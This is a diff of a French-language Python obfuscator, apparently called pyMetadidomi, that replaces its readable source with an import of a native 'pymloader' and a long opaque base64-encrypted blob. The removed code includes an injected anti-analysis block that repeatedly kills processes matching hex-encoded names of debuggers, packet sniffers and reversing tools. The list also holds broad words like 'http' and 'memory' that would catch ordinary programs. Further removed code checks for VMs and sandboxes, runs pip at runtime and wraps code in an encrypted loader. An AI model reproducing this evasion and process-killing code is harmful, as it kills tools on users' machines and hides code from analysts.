"[ > > > > > > > > > > > > > > > > ]",
|
|
590
|
-
"[ > > > > > > > > > > > > > > > > > > ]",
|
|
591
|
-
"[ > > > > > > > > > > > > > > > > > > > > ]",
|
|
592
|
-
"[ > > > > > > > > > > > > > > > > > > > > > > ]",
|
|
593
|
-
"[ > > > > > > > > > > > > > > > > > > > > > > > > ]",
|
|
594
|
-
"[ > > > > > > > > > > > > > > > > > > > > > > > > > > ]",
|
|
595
|
-
"[ > > > > > > > > > > > > > > > > > > > > > > > > > > > > ]",
|
|
596
|
-
"[ > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > ]",
|
|
597
|
-
"[ > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > ]",
|
|
598
|
-
"[ > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > ]",
|
|
599
|
-
"[ > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > ]",
|
|
600
|
-
"[ > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > ]",
|
|
601
|
-
"[ > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > ]",
|
|
602
|
-
"[ > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > ]",
|
|
603
|
-
"[ > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > ]",
|
|
604
|
-
"[ > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > ]",
|
|
605
|
-
]
|
|
606
|
-
|
|
607
|
-
# Étape 3: Application du renommage avec barre de progression
|
|
608
|
-
print(" [>] Application du renommage...")
|
|
609
|
-
i = 0
|
|
610
|
-
obfuscated_code = renamer.safe_rename(code, mapping)
|
|
611
|
-
|
|
612
|
-
# Animation de la barre de progression
|
|
613
|
-
for j in range(len(cycles)):
|
|
614
|
-
print("\r"+f" {cycles[j]}", end="", flush=True)
|
|
615
|
-
|
|
616
|
-
print("\r"+f" {cycles[len(cycles)-1]}\n", end="")
|
|
617
|
-
|
|
618
|
-
# Statistiques
|
|
619
|
-
stats = {
|
|
620
|
-
'classes': len(identifiers.get('classes', [])),
|
|
621
|
-
'functions': len(identifiers.get('functions', [])),
|
|
622
|
-
'variables': len(identifiers.get('variables', [])),
|
|
623
|
-
'parameters': len(identifiers.get('parameters', [])),
|
|
624
|
-
'renamed': len(mapping)
|
|
625
|
-
}
|
|
626
|
-
|
|
627
|
-
print(f" [>] Obfuscation terminée: {stats['renamed']} identifiants renommés")
|
|
628
|
-
print(f" [>] Détail: {stats['classes']} classes, {stats['functions']} fonctions, "
|
|
629
|
-
f"{stats['variables']} variables, {stats['parameters']} paramètres\n")
|
|
630
|
-
|
|
631
|
-
return obfuscated_code, stats['renamed'] # ← Retourner le nombre d'identifiants renommés
|
|
632
|
-
|
|
633
|
-
def bugs(code):
|
|
634
|
-
# Ajoute des fonctions anti-débogage (robuste avec gestion d'erreur)
|
|
635
|
-
dbg = """try:
|
|
636
|
-
import ctypes, sys, binascii, threading, time, tkinter
|
|
637
|
-
from tkinter import messagebox
|
|
638
|
-
if not ctypes.windll.shell32.IsUserAnAdmin() != 0:
|
|
639
|
-
try:
|
|
640
|
-
root = tkinter.Tk()
|
|
641
|
-
root.withdraw()
|
|
642
|
-
messagebox.showerror("Erreur", "Veuillez exécuter ce programme en tant qu'administrateur.")
|
|
643
|
-
root.destroy()
|
|
644
|
-
except:
|
|
645
|
-
print("Veuillez exécuter ce programme en tant qu'administrateur.")
|
|
646
|
-
sys.exit(0)
|
|
647
|
-
try:
|
|
648
|
-
from psutil import process_iter
|
|
649
|
-
except ImportError:
|
|
650
|
-
import os
|
|
651
|
-
os.system("pip install psutil")
|
|
652
|
-
from psutil import process_iter
|
|
653
|
-
d = [
|
|
654
|
-
'53757370656e64', '50726f67726573732054656c6572696b20466964646c657220576562204465627567676572', '466964646c6572', '57697265736861726b',
|
|
655
|
-
'64756d70636170', '646e537079', '646e5370792d783836', '6368656174656e67696e652d7838365f3634', '4854545044656275676765725549',
|
|
656
|
-
'50726f636d6f6e', '50726f636d6f6e3634', '50726f636d6f6e363461', '50726f636573734861636b6572',
|
|
657
|
-
'783332646267', '783634646267', '446f744e657444617461436f6c6c6563746f723332',
|
|
658
|
-
'446f744e657444617461436f6c6c6563746f723634', '485454504465627567676572537663', '48545450204465627567676572', '696461', '6964613634', '69646167', '696461673634',
|
|
659
|
-
'69646177', '696461773634', '69646171', '696461713634', '69646175', '696461753634',
|
|
660
|
-
'7363796c6c61', '7363796c6c615f783634', '7363796c6c615f783836', '70726f74656374696f6e5f6964',
|
|
661
|
-
'77696e646267', '7265736861636b6572', '496d706f7274524543', '494d4d554e4954594445425547474552',
|
|
662
|
-
'4d65676144756d706572', '646973617373656d626c79', '4465627567', '5b435055496d6d756e697479',
|
|
663
|
-
'4d65676144756d70657220312e3020627920436f6465437261636b6572202f20536e44', '436861726c6573', '636861726c6573', '4f4c4c59444247', '496d706f72745f7265636f6e7374727563746f72',
|
|
664
|
-
'636f6465637261636b6572', '646534646f74', '696c737079', '67726179776f6c66',
|
|
665
|
-
'73696d706c65617373656d626c796578706c6f726572', '7836346e657464756d706572', '687864',
|
|
666
|
-
'7065746f6f6c73', '73696d706c65617373656d626c79', '68747470616e616c797a6572', '687474706465627567', '70726f636573736861636b6572', '6d656d6f727965646974', '6d656d6f7279',
|
|
667
|
-
'646534646f746d6f64646564', '70726f63657373206861636b6572', '70726f63657373206d6f6e69746f72',
|
|
668
|
-
'717435636f7265', '696461', '696d6d756e697479', '68747470', '74726166666963',
|
|
669
|
-
'77697265736861726b', '666964646c6572', '7061636b6574', '6861636b6572', '6465627567', '646e737079', '646f747065656b', '646f747472616365', '70726f6364756d70', '6d616e61676572',
|
|
670
|
-
'6d656d6f7279', '6e65744c696d6974', '6e65744c696d69746572', '73616e64626f78'
|
|
671
|
-
]
|
|
672
|
-
d = [binascii.unhexlify(i.encode()).decode() for i in d]
|
|
673
|
-
def debugger():
|
|
674
|
-
while True:
|
|
675
|
-
try:
|
|
676
|
-
for proc in process_iter():
|
|
677
|
-
for i in d:
|
|
678
|
-
if i.lower() in proc.name().lower():
|
|
679
|
-
proc.kill()
|
|
680
|
-
except Exception:
|
|
681
|
-
pass
|
|
682
|
-
time.sleep(0.5)
|
|
683
|
-
threading.Thread(target=debugger, daemon=True).start()
|
|
684
|
-
except Exception:
|
|
685
|
-
pass
|
|
686
|
-
"""
|
|
687
|
-
code = dbg + code
|
|
688
|
-
return code
|
|
689
|
-
|
|
690
|
-
def anubis(code):
|
|
691
|
-
# Ajoute du code inutile (junk code) pour compliquer le débogage
|
|
692
|
-
newcode = "\n"
|
|
693
|
-
classes = ["".join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(random.randint(8, 20))) for i in range(random.randint(2, 5))]
|
|
694
|
-
for i in classes:
|
|
695
|
-
newcode += f"class {i}:\n def __init__(self):\n"
|
|
696
|
-
funcs = ["__"+"".join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(random.randint(8, 20))) for i in range(random.randint(5, 15))]
|
|
697
|
-
for i in funcs:
|
|
698
|
-
newcode += f" self.{i}()\n"
|
|
699
|
-
for i in funcs:
|
|
700
|
-
newcode += f" def {i}(self, {', '.join([''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(random.randint(5, 20))) for i in range(random.randint(1, 7))])}):\n return self.{random.choice(funcs)}()\n"
|
|
701
|
-
newcode += code + "\n"
|
|
702
|
-
classes = ["".join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(random.randint(8, 20))) for i in range(random.randint(2, 5))]
|
|
703
|
-
for i in classes:
|
|
704
|
-
newcode += f"class {i}:\n def __init__(self):\n"
|
|
705
|
-
funcs = ["__"+"".join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(random.randint(8, 20))) for i in range(random.randint(5, 15))]
|
|
706
|
-
for i in funcs:
|
|
707
|
-
newcode += f" self.{i}()\n"
|
|
708
|
-
for i in funcs:
|
|
709
|
-
newcode += f" def {i}(self, {', '.join([''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(random.randint(5, 20))) for i in range(random.randint(1, 7))])}):\n return self.{random.choice(funcs)}()\n"
|
|
710
|
-
return newcode
|
|
711
|
-
|
|
712
|
-
def generate_dead_code(complexity=10):
|
|
713
|
-
"""Génère du code mort pour complexifier l'analyse"""
|
|
714
|
-
|
|
715
|
-
dead_code = ""
|
|
716
|
-
|
|
717
|
-
# Types de code mort
|
|
718
|
-
dead_functions = [
|
|
719
|
-
"def unused_func_{}(): return sum(i for i in range({}))",
|
|
720
|
-
"def dummy_calc_{}(x): return x * {} + {}",
|
|
721
|
-
"def fake_method_{}(): return 'fake_result_{}'",
|
|
722
|
-
]
|
|
723
|
-
|
|
724
|
-
dead_variables = [
|
|
725
|
-
"temp_var_{} = [i for i in range({})]",
|
|
726
|
-
"unused_data_{} = {{'key': 'value'}}",
|
|
727
|
-
"complex_obj_{} = type('Obj', (), {{'attr': {}}})()"
|
|
728
|
-
]
|
|
729
|
-
|
|
730
|
-
for i in range(complexity):
|
|
731
|
-
# Générer les fonctions mortes avec le bon nombre d'arguments
|
|
732
|
-
func_template = random.choice(dead_functions)
|
|
733
|
-
if func_template.count('{}') == 2:
|
|
734
|
-
dead_code += func_template.format(i, random.randint(10, 100)) + "\n"
|
|
735
|
-
elif func_template.count('{}') == 3:
|
|
736
|
-
dead_code += func_template.format(i, random.randint(1, 10), random.randint(1, 10)) + "\n"
|
|
737
|
-
|
|
738
|
-
# Générer les variables mortes
|
|
739
|
-
var_template = random.choice(dead_variables)
|
|
740
|
-
if var_template.count('{}') == 2:
|
|
741
|
-
dead_code += var_template.format(i, random.randint(5, 50)) + "\n"
|
|
742
|
-
else:
|
|
743
|
-
dead_code += var_template.format(i) + "\n"
|
|
744
|
-
|
|
745
|
-
return dead_code
|
|
746
|
-
|
|
747
|
-
def time_protection(code, expiration_year=2025, max_time=3600):
|
|
748
|
-
"""Protection basée sur la date d'expiration avec interface graphique"""
|
|
749
|
-
time_protection_code = f"""import time, datetime
|
|
750
|
-
import tkinter as tk
|
|
751
|
-
from tkinter import messagebox
|
|
752
|
-
|
|
753
|
-
current_date = datetime.datetime.now()
|
|
754
|
-
EXPIRATION_YEAR = {expiration_year}
|
|
755
|
-
|
|
756
|
-
if current_date.year > EXPIRATION_YEAR:
|
|
757
|
-
root = tk.Tk()
|
|
758
|
-
root.withdraw()
|
|
759
|
-
messagebox.showerror("Erreur Licence", f"Licence expirée\\nLe programme a expiré depuis le {{EXPIRATION_YEAR}}.")
|
|
760
|
-
root.destroy()
|
|
761
|
-
exit()
|
|
762
|
-
|
|
763
|
-
def protected_execution():
|
|
764
|
-
"""
|
|
765
|
-
return time_protection_code + "\n " + code.replace("\n", "\n ") + "\n\nprotected_execution()"
|
|
766
|
-
|
|
767
|
-
class MultiLayerEncryption:
|
|
768
|
-
"""Chiffrement en plusieurs couches avec différents algorithmes"""
|
|
769
|
-
|
|
770
|
-
def __init__(self, keys):
|
|
771
|
-
self.keys = keys
|
|
772
|
-
|
|
773
|
-
def xor_encrypt(self, data, key):
|
|
774
|
-
"""Chiffrement XOR simple mais efficace"""
|
|
775
|
-
encrypted = bytearray()
|
|
776
|
-
key_bytes = key.encode('utf-8')
|
|
777
|
-
for i, byte in enumerate(data.encode('utf-8')):
|
|
778
|
-
encrypted.append(byte ^ key_bytes[i % len(key_bytes)])
|
|
779
|
-
return encrypted
|
|
780
|
-
|
|
781
|
-
def caesar_cipher(self, data, shift):
|
|
782
|
-
"""Chiffrement César pour les strings"""
|
|
783
|
-
result = ""
|
|
784
|
-
for char in data:
|
|
785
|
-
if char.isalpha():
|
|
786
|
-
ascii_offset = 65 if char.isupper() else 97
|
|
787
|
-
result += chr((ord(char) - ascii_offset + shift) % 26 + ascii_offset)
|
|
788
|
-
else:
|
|
789
|
-
result += char
|
|
790
|
-
return result
|
|
791
|
-
|
|
792
|
-
def multi_encrypt(self, data):
|
|
793
|
-
"""Chiffrement multi-couches"""
|
|
794
|
-
# Couche 1: XOR
|
|
795
|
-
layer1 = self.xor_encrypt(data, self.keys[0])
|
|
796
|
-
|
|
797
|
-
# Couche 2: César
|
|
798
|
-
layer2 = self.caesar_cipher(layer1.decode('latin-1'), 13)
|
|
799
|
-
|
|
800
|
-
# Couche 3: Base64
|
|
801
|
-
import base64
|
|
802
|
-
layer3 = base64.b64encode(layer2.encode('utf-8')).decode()
|
|
803
|
-
|
|
804
|
-
return layer3
|
|
805
|
-
|
|
806
|
-
def advanced_anti_analysis(code):
|
|
807
|
-
"""Protections anti-reverse engineering avancées"""
|
|
808
|
-
|
|
809
|
-
anti_analysis = """
|
|
810
|
-
import sys, os, ctypes, platform, subprocess, hashlib
|
|
811
|
-
|
|
812
4
|
try:
|
|
813
|
-
|
|
814
|
-
vm_indicators = [
|
|
815
|
-
|
|
816
|
-
|
|
817
|
-
|
|
818
|
-
|
|
819
|
-
os.path.exists(r"C:\\\\Program Files\\\\VMware"),
|
|
820
|
-
os.path.exists(r"C:\\\\Program Files\\\\Oracle\\\\VirtualBox"),
|
|
821
|
-
]
|
|
822
|
-
return any(vm_indicators)
|
|
823
|
-
|
|
824
|
-
# Détection des debuggers
|
|
825
|
-
def detect_debugger():
|
|
826
|
-
try:
|
|
827
|
-
return ctypes.windll.kernel32.IsDebuggerPresent() != 0
|
|
828
|
-
except:
|
|
829
|
-
return False
|
|
830
|
-
|
|
831
|
-
# Détection des sandboxes
|
|
832
|
-
def detect_sandbox():
|
|
833
|
-
sandbox_processes = [
|
|
834
|
-
"vmsrvc", "vmusrvc", "vboxtray", "vmtoolsd",
|
|
835
|
-
"vmwaretray", "vmwareuser", "prl_tools", "xenservice"
|
|
836
|
-
]
|
|
837
|
-
try:
|
|
838
|
-
output = subprocess.check_output("tasklist", shell=True).decode().lower()
|
|
839
|
-
return any(proc in output for proc in sandbox_processes)
|
|
840
|
-
except:
|
|
841
|
-
return False
|
|
842
|
-
|
|
843
|
-
# Vérifications de sécurité
|
|
844
|
-
if detect_vm() or detect_debugger() or detect_sandbox():
|
|
845
|
-
try:
|
|
846
|
-
import tkinter as tk
|
|
847
|
-
from tkinter import messagebox
|
|
848
|
-
root = tk.Tk()
|
|
849
|
-
root.withdraw()
|
|
850
|
-
messagebox.showerror("Sécurité", "Environnement non sécurisé détecté")
|
|
851
|
-
root.destroy()
|
|
852
|
-
except:
|
|
853
|
-
print("Environnement non sécurisé détecté")
|
|
854
|
-
sys.exit(1)
|
|
855
|
-
except Exception:
|
|
856
|
-
pass
|
|
857
|
-
"""
|
|
858
|
-
return anti_analysis + code
|
|
859
|
-
|
|
860
|
-
def minify_irreversible(code):
|
|
861
|
-
"""Minification irréversible du code Python - Préserve la syntaxe valide"""
|
|
862
|
-
try:
|
|
863
|
-
import ast
|
|
864
|
-
# Vérifier que le code est valide
|
|
865
|
-
tree = ast.parse(code)
|
|
866
|
-
lines = code.split('\n')
|
|
867
|
-
minified_lines = []
|
|
868
|
-
for line in lines:
|
|
869
|
-
# Supprimer les commentaires (hors string)
|
|
870
|
-
l = line
|
|
871
|
-
in_string = False
|
|
872
|
-
new_line = ''
|
|
873
|
-
i = 0
|
|
874
|
-
while i < len(l):
|
|
875
|
-
if l[i] in ('"', "'"):
|
|
876
|
-
quote = l[i]
|
|
877
|
-
new_line += l[i]
|
|
878
|
-
i += 1
|
|
879
|
-
while i < len(l) and l[i] != quote:
|
|
880
|
-
new_line += l[i]
|
|
881
|
-
i += 1
|
|
882
|
-
if i < len(l):
|
|
883
|
-
new_line += l[i]
|
|
884
|
-
i += 1
|
|
885
|
-
elif l[i] == '#':
|
|
886
|
-
break # Commentaire trouvé, on coupe
|
|
887
|
-
else:
|
|
888
|
-
new_line += l[i]
|
|
889
|
-
i += 1
|
|
890
|
-
# Garder la ligne si elle n'est pas vide (après suppression commentaire)
|
|
891
|
-
if new_line.strip():
|
|
892
|
-
minified_lines.append(new_line.rstrip())
|
|
893
|
-
minified_code = '\n'.join(minified_lines)
|
|
894
|
-
return minified_code
|
|
895
|
-
except Exception as e:
|
|
896
|
-
print(f" [!] Erreur lors de la minification: {e}")
|
|
897
|
-
return code
|
|
898
|
-
|
|
899
|
-
def protect_with_loader(code):
|
|
900
|
-
import sys, subprocess, os
|
|
901
|
-
import pathlib
|
|
902
|
-
# Compilation automatique du module natif pymloader si absent
|
|
903
|
-
loader_dir = pathlib.Path(__file__).parent
|
|
904
|
-
pymloader_c = loader_dir / 'pymloader.c'
|
|
905
|
-
pymloader_ext = 'pymloader.pyd' if sys.platform.startswith('win') else 'pymloader.so'
|
|
906
|
-
pymloader_bin = loader_dir / pymloader_ext
|
|
907
|
-
|
|
908
|
-
if not pymloader_bin.exists() and pymloader_c.exists():
|
|
909
|
-
print('[pyMetadidomi] Compilation du module natif pymloader...')
|
|
910
|
-
try:
|
|
911
|
-
if sys.platform.startswith('win'):
|
|
912
|
-
# Utiliser MinGW64 depuis le vendor
|
|
913
|
-
mingw_bin = r'd:\Metadidomi Crone\metadidomi-builder\build_tools\vendor\mingw64\bin'
|
|
914
|
-
gcc_path = os.path.join(mingw_bin, 'gcc.exe')
|
|
915
|
-
|
|
916
|
-
if not os.path.exists(gcc_path):
|
|
917
|
-
print(f'[pyMetadidomi] MinGW64 non trouvé à {mingw_bin}. Tentative de setup.py...')
|
|
918
|
-
# Fallback: utiliser setup.py avec setuptools
|
|
919
|
-
subprocess.run([sys.executable, '-m', 'pip', 'install', 'pybind11', 'setuptools', 'wheel'],
|
|
920
|
-
capture_output=True, check=False, timeout=60)
|
|
921
|
-
setup_py = loader_dir / 'setup.py'
|
|
922
|
-
if not setup_py.exists():
|
|
923
|
-
setup_content = '''from setuptools import setup, Extension
|
|
924
|
-
import sys
|
|
925
|
-
module = Extension('pymloader', sources=['pymloader.c'], libraries=['libcrypto', 'libssl'])
|
|
926
|
-
setup(name='pymloader', ext_modules=[module])
|
|
927
|
-
'''
|
|
928
|
-
with open(setup_py, 'w') as f:
|
|
929
|
-
f.write(setup_content)
|
|
930
|
-
|
|
931
|
-
subprocess.run([sys.executable, str(setup_py), 'build_ext', '--inplace'],
|
|
932
|
-
cwd=str(loader_dir), capture_output=True, check=True, timeout=120)
|
|
933
|
-
print('[pyMetadidomi] Module pymloader compilé avec setup.py')
|
|
934
|
-
else:
|
|
935
|
-
# Compiler avec MinGW64 (sans dépendance OpenSSL)
|
|
936
|
-
python_include = os.path.join(sys.exec_prefix, 'include')
|
|
937
|
-
# Chercher la bonne librairie Python (python311.lib ou .a)
|
|
938
|
-
py_version = f"{sys.version_info.major}{sys.version_info.minor}"
|
|
939
|
-
python_lib_dir = os.path.join(sys.exec_prefix, 'libs')
|
|
940
|
-
python_lib = f"-lpython{py_version}"
|
|
941
|
-
# Si python311.lib n'existe pas, essayer python3.11.a
|
|
942
|
-
if not os.path.exists(os.path.join(python_lib_dir, f"python{py_version}.lib")):
|
|
943
|
-
python_lib = f"-lpython{sys.version_info.major}.{sys.version_info.minor}"
|
|
944
|
-
compile_cmd = [
|
|
945
|
-
gcc_path, '-O2', '-shared', '-o', str(pymloader_bin), str(pymloader_c),
|
|
946
|
-
f'-I{python_include}', f'-L{python_lib_dir}', python_lib
|
|
947
|
-
]
|
|
948
|
-
env = os.environ.copy()
|
|
949
|
-
env['PATH'] = mingw_bin + ';' + env.get('PATH', '')
|
|
950
|
-
subprocess.run(compile_cmd, env=env, check=True, timeout=120)
|
|
951
|
-
print('[pyMetadidomi] Module pymloader compilé avec MinGW64')
|
|
952
|
-
else:
|
|
953
|
-
# Linux/Mac (sans dépendance OpenSSL)
|
|
954
|
-
subprocess.run(['gcc', '-O2', '-fPIC', '-shared', '-o', str(pymloader_bin), str(pymloader_c),
|
|
955
|
-
f'-I{sys.exec_prefix}/include/python{sys.version_info.major}.{sys.version_info.minor}'],
|
|
956
|
-
check=True, timeout=120)
|
|
957
|
-
print('[pyMetadidomi] Module pymloader compilé avec GCC')
|
|
958
|
-
except Exception as e:
|
|
959
|
-
print(f'[pyMetadidomi] Attention: Compilation pymloader échouée ({e}). Utilisation du fallback (AES Python).')
|
|
960
|
-
pymloader_bin = None
|
|
961
|
-
|
|
962
|
-
# Préparation du bytecode chiffré
|
|
963
|
-
import base64, zlib, marshal
|
|
964
|
-
def pad(data):
|
|
965
|
-
pad_len = 16 - (len(data) % 16)
|
|
966
|
-
return data + bytes([pad_len] * pad_len)
|
|
967
|
-
|
|
968
|
-
key = os.urandom(32)
|
|
969
|
-
iv = os.urandom(16)
|
|
970
|
-
compiled = compile(code, '<obfuscated>', 'exec')
|
|
971
|
-
marshaled = marshal.dumps(compiled)
|
|
972
|
-
compressed = zlib.compress(marshaled)
|
|
973
|
-
# AES CBC (openssl compatible)
|
|
974
|
-
from Crypto.Cipher import AES
|
|
5
|
+
import pymloader
|
|
6
|
+
payload = base64.b64decode("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